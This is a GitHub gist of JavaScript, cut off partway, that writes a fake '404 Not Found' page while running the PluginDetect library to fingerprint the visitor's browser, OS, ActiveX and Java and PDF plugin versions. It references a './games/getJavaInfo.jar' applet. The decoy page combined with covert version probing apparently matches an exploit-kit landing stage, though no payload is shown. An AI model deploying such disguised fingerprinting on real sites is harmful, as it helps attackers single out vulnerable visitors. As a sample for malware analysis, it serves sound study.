Created
July 19, 2011 23:54
-
-
Save jeremyBanks/1094042 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| document.write('<center><h1>404 Not Found</h1></center><hr>'); | |
| function end_redirect() {} | |
| var javafile = './games/getJavaInfo.jar'; | |
| var jver = [0, 0, 0, 0], | |
| pdfver = [0, 0, 0, 0]; | |
| try { | |
| var PluginDetect = { | |
| handler: function (c, b, a) { | |
| return function () { | |
| c(b, a) | |
| } | |
| }, | |
| isDefined: function (b) { | |
| return typeof b != "undefined" | |
| }, | |
| isArray: function (b) { | |
| return (/array/i).test(Object.prototype.toString.call(b)) | |
| }, | |
| isFunc: function (b) { | |
| return typeof b == "function" | |
| }, | |
| isString: function (b) { | |
| return typeof b == "string" | |
| }, | |
| isNum: function (b) { | |
| return typeof b == "number" | |
| }, | |
| isStrNum: function (b) { | |
| return (typeof b == "string" && (/\d/).test(b)) | |
| }, | |
| getNumRegx: /[\d][\d\.\_,-]*/, | |
| splitNumRegx: /[\.\_,-]/g, | |
| getNum: function (b, c) { | |
| var d = this, | |
| a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null; | |
| return a ? a[0] : null | |
| }, | |
| compareNums: function (h, f, d) { | |
| var e = this, | |
| c, b, a, g = parseInt; | |
| if (e.isStrNum(h) && e.isStrNum(f)) { | |
| if (e.isDefined(d) && d.compareNums) { | |
| return d.compareNums(h, f) | |
| } | |
| c = h.split(e.splitNumRegx); | |
| b = f.split(e.splitNumRegx); | |
| for (a = 0; a < Math.min(c.length, b.length); a++) { | |
| if (g(c[a], 10) > g(b[a], 10)) { | |
| return 1 | |
| } | |
| if (g(c[a], 10) < g(b[a], 10)) { | |
| return -1 | |
| } | |
| } | |
| } | |
| return 0 | |
| }, | |
| formatNum: function (b, c) { | |
| var d = this, | |
| a, e; | |
| if (!d.isStrNum(b)) { | |
| return null | |
| } | |
| if (!d.isNum(c)) { | |
| c = 4 | |
| } | |
| c--; | |
| e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]); | |
| for (a = 0; a < 4; a++) { | |
| if (/^(0+)(.+)$/.test(e[a])) { | |
| e[a] = RegExp.$2 | |
| } | |
| if (a > c || !(/\d/).test(e[a])) { | |
| e[a] = "0" | |
| } | |
| } | |
| return e.slice(0, 4).join(",") | |
| }, | |
| $$hasMimeType: function (a) { | |
| return function (d) { | |
| if (!a.isIE && d) { | |
| var c, b, e, f = a.isString(d) ? [d] : d; | |
| if (!f || !f.length) { | |
| return null | |
| } | |
| for (e = 0; e < f.length; e++) { | |
| if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) { | |
| return c | |
| } | |
| } | |
| } | |
| return null | |
| } | |
| }, | |
| findNavPlugin: function (l, e, c) { | |
| var j = this, | |
| h = new RegExp(l, "i"), | |
| d = (!j.isDefined(e) || e) ? /\d/ : 0, | |
| k = c ? new RegExp(c, "i") : 0, | |
| a = navigator.plugins, | |
| g = "", | |
| f, b, m; | |
| for (f = 0; f < a.length; f++) { | |
| m = a[f].description || g; | |
| b = a[f].name || g; | |
| if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) { | |
| if (!k || !(k.test(m) || k.test(b))) { | |
| return a[f] | |
| } | |
| } | |
| } | |
| return null | |
| }, | |
| getMimeEnabledPlugin: function (a, f) { | |
| var e = this, | |
| b, c = new RegExp(f, "i"), | |
| d = ""; | |
| if ((b = e.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || d) || c.test(b.name || d))) { | |
| return b | |
| } | |
| return 0 | |
| }, | |
| getPluginFileVersion: function (f, b) { | |
| var h = this, | |
| e, d, g, a, c = -1; | |
| if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) { | |
| return b | |
| } | |
| if (!b) { | |
| return e | |
| } | |
| e = h.formatNum(e); | |
| b = h.formatNum(b); | |
| d = b.split(h.splitNumRegx); | |
| g = e.split(h.splitNumRegx); | |
| for (a = 0; a < d.length; a++) { | |
| if (c > -1 && a > c && d[a] != "0") { | |
| return b | |
| } | |
| if (g[a] != d[a]) { | |
| if (c == -1) { | |
| c = a | |
| } | |
| if (d[a] != "0") { | |
| return b | |
| } | |
| } | |
| } | |
| return e | |
| }, | |
| AXO: window.ActiveXObject, | |
| getAXO: function (b) { | |
| var f = null, | |
| d, c = this, | |
| a; | |
| try { | |
| f = new c.AXO(b) | |
| } catch (d) {} | |
| return f | |
| }, | |
| convertFuncs: function (g) { | |
| var a, h, f, b = /^[\$][\$]/, | |
| d = {}, | |
| c = this; | |
| for (a in g) { | |
| if (b.test(a)) { | |
| d[a] = 1 | |
| } | |
| } | |
| for (a in d) { | |
| try { | |
| h = a.slice(2); | |
| if (h.length > 0 && !g[h]) { | |
| g[h] = g[a](g); | |
| delete g[a] | |
| } | |
| } catch (f) {} | |
| } | |
| }, | |
| initScript: function () { | |
| var c = this, | |
| a = navigator, | |
| e = "/", | |
| i = a.userAgent || "", | |
| g = a.vendor || "", | |
| b = a.platform || "", | |
| h = a.product || ""; | |
| c.OS = 100; | |
| if (b) { | |
| var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100]; | |
| for (f = d.length - 2; f >= 0; f = f - 2) { | |
| if (d[f] && new RegExp(d[f], "i").test(b)) { | |
| c.OS = d[f + 1]; | |
| break | |
| } | |
| } | |
| } | |
| c.convertFuncs(c); | |
| c.isIE = new Function("return " + e + "*@cc_on!@*" + e + "false")(); | |
| c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null; | |
| c.ActiveXEnabled = false; | |
| if (c.isIE) { | |
| var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"]; | |
| for (f = 0; f < j.length; f++) { | |
| if (c.getAXO(j[f])) { | |
| c.ActiveXEnabled = true; | |
| break | |
| } | |
| } | |
| c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null | |
| } | |
| c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i); | |
| c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null; | |
| c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g); | |
| c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i); | |
| c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null; | |
| c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i); | |
| c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null; | |
| c.addWinEvent("load", c.handler(c.runWLfuncs, c)) | |
| }, | |
| init: function (c) { | |
| var b = this, | |
| a, c; | |
| if (!b.isString(c)) { | |
| return -3 | |
| } | |
| if (c.length == 1) { | |
| b.getVersionDelimiter = c; | |
| return -3 | |
| } | |
| c = c.toLowerCase().replace(/\s/g, ""); | |
| a = b[c]; | |
| if (!a || !a.getVersion) { | |
| return -3 | |
| } | |
| b.plugin = a; | |
| if (!b.isDefined(a.installed)) { | |
| a.installed = a.version = a.version0 = a.getVersionDone = null; | |
| a.$ = b; | |
| a.pluginName = c | |
| } | |
| b.garbage = false; | |
| if (b.isIE && !b.ActiveXEnabled) { | |
| if (a !== b.java) { | |
| return -2 | |
| } | |
| } | |
| return 1 | |
| }, | |
| fPush: function (b, a) { | |
| var c = this; | |
| if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) { | |
| a.push(b) | |
| } | |
| }, | |
| callArray: function (b) { | |
| var c = this, | |
| a; | |
| if (c.isArray(b)) { | |
| for (a = 0; a < b.length; a++) { | |
| if (b[a] === null) { | |
| return | |
| } | |
| c.call(b[a]); | |
| b[a] = null | |
| } | |
| } | |
| }, | |
| call: function (c) { | |
| var b = this, | |
| a = b.isArray(c) ? c.length : -1; | |
| if (a > 0 && b.isFunc(c[0])) { | |
| c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0) | |
| } else { | |
| if (b.isFunc(c)) { | |
| c(b) | |
| } | |
| } | |
| }, | |
| getVersionDelimiter: ",", | |
| $$getVersion: function (a) { | |
| return function (g, d, c) { | |
| var e = a.init(g), | |
| f, b, h; | |
| if (e < 0) { | |
| return null | |
| }; | |
| f = a.plugin; | |
| if (f.getVersionDone != 1) { | |
| f.getVersion(null, d, c); | |
| if (f.getVersionDone === null) { | |
| f.getVersionDone = 1 | |
| } | |
| } | |
| a.cleanup(); | |
| b = (f.version || f.version0); | |
| b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b; | |
| return b | |
| } | |
| }, | |
| cleanup: function () { | |
| var a = this; | |
| if (a.garbage && a.isDefined(window.CollectGarbage)) { | |
| window.CollectGarbage() | |
| } | |
| }, | |
| addWinEvent: function (d, c) { | |
| var e = this, | |
| a = window, | |
| b; | |
| if (e.isFunc(c)) { | |
| if (a.addEventListener) { | |
| a.addEventListener(d, c, false) | |
| } else { | |
| if (a.attachEvent) { | |
| a.attachEvent("on" + d, c) | |
| } else { | |
| b = a["on" + d]; | |
| a["on" + d] = e.winHandler(c, b) | |
| } | |
| } | |
| } | |
| }, | |
| winHandler: function (d, c) { | |
| return function () { | |
| d(); | |
| if (typeof c == "function") { | |
| c() | |
| } | |
| } | |
| }, | |
| WLfuncs0: [], | |
| WLfuncs: [], | |
| runWLfuncs: function (a) { | |
| a.winLoaded = true; | |
| a.callArray(a.WLfuncs0); | |
| a.callArray(a.WLfuncs); | |
| if (a.onDoneEmptyDiv) { | |
| a.onDoneEmptyDiv() | |
| } | |
| }, | |
| winLoaded: false, | |
| $$onWindowLoaded: function (a) { | |
| return function (b) { | |
| if (a.winLoaded) { | |
| a.call(b) | |
| } else { | |
| a.fPush(b, a.WLfuncs) | |
| } | |
| } | |
| }, | |
| div: null, | |
| divWidth: 50, | |
| pluginSize: 1, | |
| emptyDiv: function () { | |
| var c = this, | |
| a, e, b, d = 0; | |
| if (c.div && c.div.childNodes) { | |
| for (a = c.div.childNodes.length - 1; a >= 0; a--) { | |
| b = c.div.childNodes[a]; | |
| if (b && b.childNodes) { | |
| if (d == 0) { | |
| for (e = b.childNodes.length - 1; e >= 0; e--) { | |
| b.removeChild(b.childNodes[e]) | |
| } | |
| c.div.removeChild(b) | |
| } else {} | |
| } | |
| } | |
| } | |
| }, | |
| DONEfuncs: [], | |
| onDoneEmptyDiv: function () { | |
| var c = this, | |
| a, b; | |
| if (!c.winLoaded) { | |
| return | |
| } | |
| if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) { | |
| return | |
| } | |
| for (a in c) { | |
| b = c[a]; | |
| if (b && b.funcs) { | |
| if (b.OTF == 3) { | |
| return | |
| } | |
| if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) { | |
| return | |
| } | |
| } | |
| } | |
| for (a = 0; a < c.DONEfuncs.length; a++) { | |
| c.callArray(c.DONEfuncs) | |
| } | |
| c.emptyDiv() | |
| }, | |
| getWidth: function (c) { | |
| if (c) { | |
| var a = c.scrollWidth || c.offsetWidth, | |
| b = this; | |
| if (b.isNum(a)) { | |
| return a | |
| } | |
| } | |
| return -1 | |
| }, | |
| getTagStatus: function (m, g, a, b) { | |
| var c = this, | |
| f, k = m.span, | |
| l = c.getWidth(k), | |
| h = a.span, | |
| j = c.getWidth(h), | |
| d = g.span, | |
| i = c.getWidth(d); | |
| if (!k || !h || !d || !c.getDOMobj(m)) { | |
| return -2 | |
| } | |
| if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) { | |
| return 0 | |
| } | |
| if (l >= i) { | |
| return -1 | |
| } | |
| try { | |
| if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) { | |
| if (!m.winLoaded && c.winLoaded) { | |
| return 1 | |
| } | |
| if (m.winLoaded && c.isNum(b)) { | |
| if (!c.isNum(m.count)) { | |
| m.count = b | |
| } | |
| if (b - m.count >= 10) { | |
| return 1 | |
| } | |
| } | |
| } | |
| } catch (f) {} | |
| return 0 | |
| }, | |
| getDOMobj: function (g, a) { | |
| var f, d = this, | |
| c = g ? g.span : 0, | |
| b = c && c.firstChild ? 1 : 0; | |
| try { | |
| if (b && a) { | |
| c.firstChild.focus() | |
| } | |
| } catch (f) {} | |
| return b ? c.firstChild : null | |
| }, | |
| setStyle: function (b, g) { | |
| var f = b.style, | |
| a, d, c = this; | |
| if (f && g) { | |
| for (a = 0; a < g.length; a = a + 2) { | |
| try { | |
| f[g[a]] = g[a + 1] | |
| } catch (d) {} | |
| } | |
| } | |
| }, | |
| insertDivInBody: function (i) { | |
| var g, d = this, | |
| h = "pd33993399", | |
| c = null, | |
| f = document, | |
| b = "<", | |
| a = (f.getElementsByTagName("body")[0] || f.body); | |
| if (!a) { | |
| try { | |
| f.write(b + 'div id="' + h + '">o' + b + "/div>"); | |
| c = f.getElementById(h) | |
| } catch (g) {} | |
| } | |
| a = (f.getElementsByTagName("body")[0] || f.body); | |
| if (a) { | |
| if (a.firstChild && d.isDefined(a.insertBefore)) { | |
| a.insertBefore(i, a.firstChild) | |
| } else { | |
| a.appendChild(i) | |
| } | |
| if (c) { | |
| a.removeChild(c) | |
| } | |
| } else {} | |
| }, | |
| insertHTML: function (g, b, h, a, k) { | |
| var l, m = document, | |
| j = this, | |
| q, o = m.createElement("span"), | |
| n, i, f = "<"; | |
| var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]; | |
| if (!j.isDefined(a)) { | |
| a = "" | |
| } | |
| if (j.isString(g) && (/[^\s]/).test(g)) { | |
| q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" '; | |
| for (n = 0; n < b.length; n = n + 2) { | |
| if (/[^\s]/.test(b[n + 1])) { | |
| q += b[n] + '="' + b[n + 1] + '" ' | |
| } | |
| } | |
| q += ">"; | |
| for (n = 0; n < h.length; n = n + 2) { | |
| if (/[^\s]/.test(h[n + 1])) { | |
| q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />' | |
| } | |
| } | |
| q += a + f + "/" + g + ">" | |
| } else { | |
| q = a | |
| } | |
| if (!j.div) { | |
| j.div = m.createElement("div"); | |
| i = m.getElementById("plugindetect"); | |
| if (i) { | |
| j.div = i | |
| } else { | |
| j.div.id = "plugindetect"; | |
| j.insertDivInBody(j.div) | |
| } | |
| j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"])); | |
| if (!i) { | |
| j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]) | |
| } | |
| } | |
| if (j.div && j.div.parentNode) { | |
| j.div.appendChild(o); | |
| j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"])); | |
| try { | |
| if (o && o.parentNode) { | |
| o.focus() | |
| } | |
| } catch (l) {} | |
| try { | |
| o.innerHTML = q | |
| } catch (l) {} | |
| if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) { | |
| j.setStyle(o.firstChild, c.concat(["display", "inline"])) | |
| } | |
| return { | |
| span: o, | |
| winLoaded: j.winLoaded, | |
| tagName: (j.isString(g) ? g : "") | |
| } | |
| } | |
| return { | |
| span: null, | |
| winLoaded: j.winLoaded, | |
| tagName: "" | |
| } | |
| }, | |
| java: { | |
| mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], | |
| mimeTypeJPI: "application/x-java-applet;jpi-version=", | |
| classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", | |
| DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA", | |
| DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"], | |
| forceVerifyTag: [], | |
| jar: [], | |
| Enabled: navigator.javaEnabled(), | |
| VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."], | |
| OTF: null, | |
| All_versions: [], | |
| mimeTypeJPIresult: "", | |
| JavaPlugin_versions: [], | |
| JavaVersions: [ | |
| [1, 9, 2, 30], | |
| [1, 8, 2, 30], | |
| [1, 7, 2, 30], | |
| [1, 6, 1, 30], | |
| [1, 5, 1, 30], | |
| [1, 4, 2, 30], | |
| [1, 3, 1, 30] | |
| ], | |
| searchJavaPluginAXO: function () { | |
| var h = null, | |
| a = this, | |
| c = a.$, | |
| g = [], | |
| j = [1, 5, 0, 14], | |
| i = [1, 6, 0, 2], | |
| f = [1, 3, 1, 0], | |
| e = [1, 4, 2, 0], | |
| d = [1, 5, 0, 7], | |
| b = false; | |
| if (!c.ActiveXEnabled) { | |
| return null | |
| }; | |
| if (c.verIE >= a.minIEver) { | |
| g = a.searchJavaAXO(i, i, b); | |
| if (g.length > 0 && b) { | |
| g = a.searchJavaAXO(j, j, b) | |
| } | |
| } else { | |
| if (g.length == 0) { | |
| g = a.searchJavaAXO(f, e, false) | |
| } | |
| } | |
| if (g.length > 0) { | |
| h = g[0] | |
| } | |
| a.JavaPlugin_versions = [].concat(g); | |
| return h | |
| }, | |
| searchJavaAXO: function (l, i, m) { | |
| var n, f, h = this.$, | |
| q, k, a, e, g, j, b, r = []; | |
| if (h.compareNums(l.join(","), i.join(",")) > 0) { | |
| i = l | |
| } | |
| i = h.formatNum(i.join(",")); | |
| var o, d = "1,4,2,0", | |
| c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : ""); | |
| for (n = 0; n < this.JavaVersions.length; n++) { | |
| f = this.JavaVersions[n]; | |
| q = "JavaPlugin." + f[0] + "" + f[1]; | |
| g = f[0] + "." + f[1] + "."; | |
| for (a = f[2]; a >= 0; a--) { | |
| b = "JavaWebStart.isInstalled." + g + a + ".0"; | |
| if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) { | |
| continue | |
| } | |
| o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false; | |
| for (e = f[3]; e >= 0; e--) { | |
| k = a + "_" + (e < 10 ? "0" + e : e); | |
| j = q + k; | |
| if (h.getAXO(j) && (o || h.getAXO(b))) { | |
| r.push(g + k); | |
| if (!m) { | |
| return r | |
| } | |
| } | |
| if (j == c) { | |
| return r | |
| } | |
| } | |
| if (h.getAXO(q + a) && (o || h.getAXO(b))) { | |
| r.push(g + a); | |
| if (!m) { | |
| return r | |
| } | |
| } | |
| if (q + a == c) { | |
| return r | |
| } | |
| } | |
| } | |
| return r | |
| }, | |
| minIEver: 7, | |
| getMimeJPIversion: function () { | |
| var h, a = this, | |
| d = a.$, | |
| c = new RegExp("(" + a.mimeTypeJPI + ")(\\d.*)", "i"), | |
| k = new RegExp("Java", "i"), | |
| e, j, f = "", | |
| i = {}, | |
| g = 0, | |
| b; | |
| for (h = 0; h < navigator.mimeTypes.length; h++) { | |
| j = navigator.mimeTypes[h]; | |
| if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f))) { | |
| i["a" + d.formatNum(j)] = j | |
| } | |
| } | |
| b = "0,0,0,0"; | |
| for (h in i) { | |
| g++; | |
| e = h.slice(1); | |
| if (d.compareNums(e, b) > 0) { | |
| b = e | |
| } | |
| } | |
| a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : ""; | |
| return g > 0 ? b : null | |
| }, | |
| getVersion: function (m, d, l) { | |
| var f, c = this, | |
| e = c.$, | |
| h = c.NOTF, | |
| b = c.applet, | |
| j = c.verify, | |
| i = vendor = versionEnabled = null; | |
| if (c.getVersionDone === null) { | |
| c.OTF = 0; | |
| c.mimeObj = e.hasMimeType(c.mimeType); | |
| c.deployTK.$ = e; | |
| c.deployTK.parentNode = c; | |
| b.$ = e; | |
| b.parentNode = c; | |
| if (h) { | |
| h.$ = e; | |
| h.parentNode = c | |
| } | |
| if (j) { | |
| j.parentNode = c; | |
| j.$ = e; | |
| j.init() | |
| } | |
| } | |
| var k; | |
| if (e.isArray(l)) { | |
| for (k = 0; k < b.allowed.length; k++) { | |
| if (e.isNum(l[k])) { | |
| b.allowed[k] = l[k] | |
| } | |
| } | |
| } | |
| for (k = 0; k < c.forceVerifyTag.length; k++) { | |
| b.allowed[k] = c.forceVerifyTag[k] | |
| } | |
| if (e.isString(d)) { | |
| c.jar.push(d) | |
| } | |
| if (c.getVersionDone == 0) { | |
| if (!c.version || b.canTryAny()) { | |
| f = b.insertHTMLQueryAll(d); | |
| if (f[0]) { | |
| c.installed = 1; | |
| c.EndGetVersion(f[0], f[1]) | |
| } | |
| } | |
| return | |
| } | |
| var g = c.deployTK.query(); | |
| if (g.JRE) { | |
| i = g.JRE; | |
| vendor = c.VENDORS[0] | |
| } | |
| if (!e.isIE) { | |
| var q, n, a, o; | |
| o = (c.mimeObj && c.Enabled) ? true : false; | |
| if (!i && (f = c.getMimeJPIversion()) !== null) { | |
| i = f | |
| } | |
| if (!i && c.mimeObj) { | |
| f = "Java[^\\d]*Plug-in"; | |
| a = e.findNavPlugin(f); | |
| if (a) { | |
| f = new RegExp(f, "i"); | |
| q = f.test(a.description || "") ? e.getNum(a.description) : null; | |
| n = f.test(a.name || "") ? e.getNum(a.name) : null; | |
| if (q && n) { | |
| i = (e.compareNums(e.formatNum(q), e.formatNum(n)) >= 0) ? q : n | |
| } else { | |
| i = q || n | |
| } | |
| } | |
| } | |
| if (!i && c.mimeObj && e.isSafari && e.OS == 2) { | |
| a = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0); | |
| if (a) { | |
| q = e.getNum(a.description); | |
| if (q) { | |
| i = q | |
| } | |
| } | |
| } | |
| if (i) { | |
| c.version0 = i; | |
| if (c.Enabled) { | |
| versionEnabled = i | |
| } | |
| } | |
| } else { | |
| if (!i && g.status == 0) { | |
| i = c.searchJavaPluginAXO(); | |
| if (i) { | |
| vendor = c.VENDORS[0] | |
| } | |
| } | |
| if (i) { | |
| c.version0 = i; | |
| if (c.Enabled && e.ActiveXEnabled) { | |
| versionEnabled = i | |
| } | |
| } | |
| } | |
| if (!versionEnabled || b.canTryAny()) { | |
| f = b.insertHTMLQueryAll(d); | |
| if (f[0]) { | |
| versionEnabled = f[0]; | |
| vendor = f[1] | |
| } | |
| } | |
| if (!versionEnabled && (f = c.queryWithoutApplets())[0]) { | |
| c.version0 = versionEnabled = f[0]; | |
| vendor = f[1]; | |
| if (c.installed == -0.5) { | |
| c.installed = 0.5 | |
| } | |
| } | |
| if (e.isSafari && e.OS == 2) { | |
| if (!versionEnabled && o) { | |
| if (c.installed === null) { | |
| c.installed = 0 | |
| } else { | |
| if (c.installed == -0.5) { | |
| c.installed = 0.5 | |
| } | |
| } | |
| } | |
| } | |
| if (c.jreDisabled()) { | |
| versionEnabled = null | |
| }; | |
| if (c.installed === null) { | |
| c.installed = versionEnabled ? 1 : (i ? -0.2 : -1) | |
| } | |
| c.EndGetVersion(versionEnabled, vendor) | |
| }, | |
| EndGetVersion: function (b, d) { | |
| var a = this, | |
| c = a.$; | |
| if (a.version0) { | |
| a.version0 = c.formatNum(c.getNum(a.version0)) | |
| } | |
| if (b) { | |
| a.version = c.formatNum(c.getNum(b)); | |
| a.vendor = (c.isString(d) ? d : "") | |
| } | |
| if (a.getVersionDone != 1) { | |
| a.getVersionDone = 0 | |
| } | |
| }, | |
| jreDisabled: function () { | |
| var b = this, | |
| d = b.$, | |
| c = b.deployTK.query().JRE, | |
| a; | |
| if (c && d.OS == 1) { | |
| if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) { | |
| return 1 | |
| } | |
| }; | |
| if (d.isOpera && d.verOpera >= 9 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) { | |
| return 1 | |
| } | |
| if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) { | |
| return 1 | |
| } | |
| return 0 | |
| }, | |
| deployTK: { | |
| status: null, | |
| JREall: [], | |
| JRE: null, | |
| HTML: null, | |
| query: function () { | |
| var f = this, | |
| h = f.$, | |
| c = f.parentNode, | |
| i, a, b, g = len = null; | |
| if (f.status !== null) { | |
| return f | |
| } | |
| f.status = 0; | |
| if ((h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) <= 0) || h.isSafari || h.isChrome || (h.isIE && !h.ActiveXEnabled)) { | |
| return f | |
| } | |
| if (h.isIE && h.verIE >= 6) { | |
| f.HTML = h.insertHTML("object", [], []); | |
| g = h.getDOMobj(f.HTML) | |
| } else { | |
| if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) { | |
| f.HTML = h.insertHTML("object", ["type", b.type], []); | |
| g = h.getDOMobj(f.HTML) | |
| } | |
| } | |
| if (g) { | |
| if (h.isIE && h.verIE >= 6) { | |
| try { | |
| g.classid = c.DTKclassID | |
| } catch (i) {} | |
| }; | |
| try { | |
| var d = g.jvms; | |
| if (d) { | |
| len = d.getLength(); | |
| if (h.isNum(len)) { | |
| f.status = len > 0 ? 1 : -1; | |
| for (a = 0; a < len; a++) { | |
| b = h.getNum(d.get(len - 1 - a).version); | |
| if (b) { | |
| f.JREall[a] = b | |
| } | |
| } | |
| } | |
| } | |
| } catch (i) {} | |
| } | |
| if (f.JREall.length > 0) { | |
| f.JRE = h.formatNum(f.JREall[0]) | |
| } | |
| return f | |
| } | |
| }, | |
| queryWithoutApplets00: function (c, a) { | |
| var b = window.java, | |
| d; | |
| try { | |
| if (b && b.lang && b.lang.System) { | |
| a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "] | |
| } | |
| } catch (d) {} | |
| }, | |
| queryWithoutApplets: function () { | |
| var c = this, | |
| f = c.$, | |
| g, a = c.queryWithoutApplets; | |
| if (!a.value) { | |
| a.value = [null, null]; | |
| if (!f.isIE && window.java) { | |
| if (f.OS == 2 && f.isOpera && f.verOpera < 9.2 && f.verOpera >= 9) {} else { | |
| if (f.isGecko && f.compareNums(f.verGecko, "1,9,0,0") < 0 && f.compareNums(f.verGecko, "1,8,0,0") >= 0) {} else { | |
| if (f.isGecko) { | |
| var i, b, h = document; | |
| if (h.createElement && h.createEvent) { | |
| try { | |
| i = h.createElement("div"), b = h.createEvent("HTMLEvents"); | |
| b.initEvent("change", false, false); | |
| i.addEventListener("change", f.handler(c.queryWithoutApplets00, f, a), false); | |
| i.dispatchEvent(b) | |
| } catch (g) {} | |
| } | |
| } else { | |
| c.queryWithoutApplets00(f, a) | |
| } | |
| } | |
| } | |
| } | |
| } | |
| return a.value | |
| }, | |
| applet: { | |
| results: [ | |
| [null, null], | |
| [null, null], | |
| [null, null] | |
| ], | |
| HTML: [0, 0, 0], | |
| active: [0, 0, 0], | |
| allowed: [2, 2, 2], | |
| DummyObjTagHTML: 0, | |
| DummySpanTagHTML: 0, | |
| getResult: function () { | |
| var c = this.results, | |
| a, b; | |
| for (a = 0; a < c.length; a++) { | |
| b = c[a]; | |
| if (b[0]) { | |
| break | |
| } | |
| } | |
| return [].concat(b) | |
| }, | |
| canTry: function (d) { | |
| var b = this, | |
| c = b.$, | |
| a = b.parentNode; | |
| if (b.allowed[d] == 3) { | |
| return true | |
| } | |
| if (!a.version0 || !a.Enabled || (c.isIE && !c.ActiveXEnabled)) { | |
| if (b.allowed[d] == 2) { | |
| return true | |
| } | |
| if (b.allowed[d] == 1 && !b.getResult()[0]) { | |
| return true | |
| } | |
| } | |
| return false | |
| }, | |
| canTryAny: function () { | |
| var b = this, | |
| a; | |
| for (a = 0; a < b.allowed.length; a++) { | |
| if (b.canTry(a)) { | |
| return true | |
| } | |
| } | |
| return false | |
| }, | |
| canUseAppletTag: function () { | |
| var b = this, | |
| c = b.$, | |
| a = b.parentNode; | |
| return (!c.isIE || a.Enabled) | |
| }, | |
| canUseObjectTag: function () { | |
| var a = this, | |
| b = a.$; | |
| return (!b.isIE || b.ActiveXEnabled) | |
| }, | |
| queryThis: function (h) { | |
| var g, c = this, | |
| b = c.parentNode, | |
| f = b.$, | |
| a = vendor = null, | |
| d = f.getDOMobj(c.HTML[h], true); | |
| if (d) { | |
| try { | |
| a = d.getVersion() + " "; | |
| vendor = d.getVendor() + " "; | |
| d.statusbar(f.winLoaded ? " " : " ") | |
| } catch (g) {} | |
| if (f.isStrNum(a)) { | |
| c.results[h] = [a, vendor] | |
| } | |
| try { | |
| if (f.isIE && a && d.readyState != 4) { | |
| f.garbage = true; | |
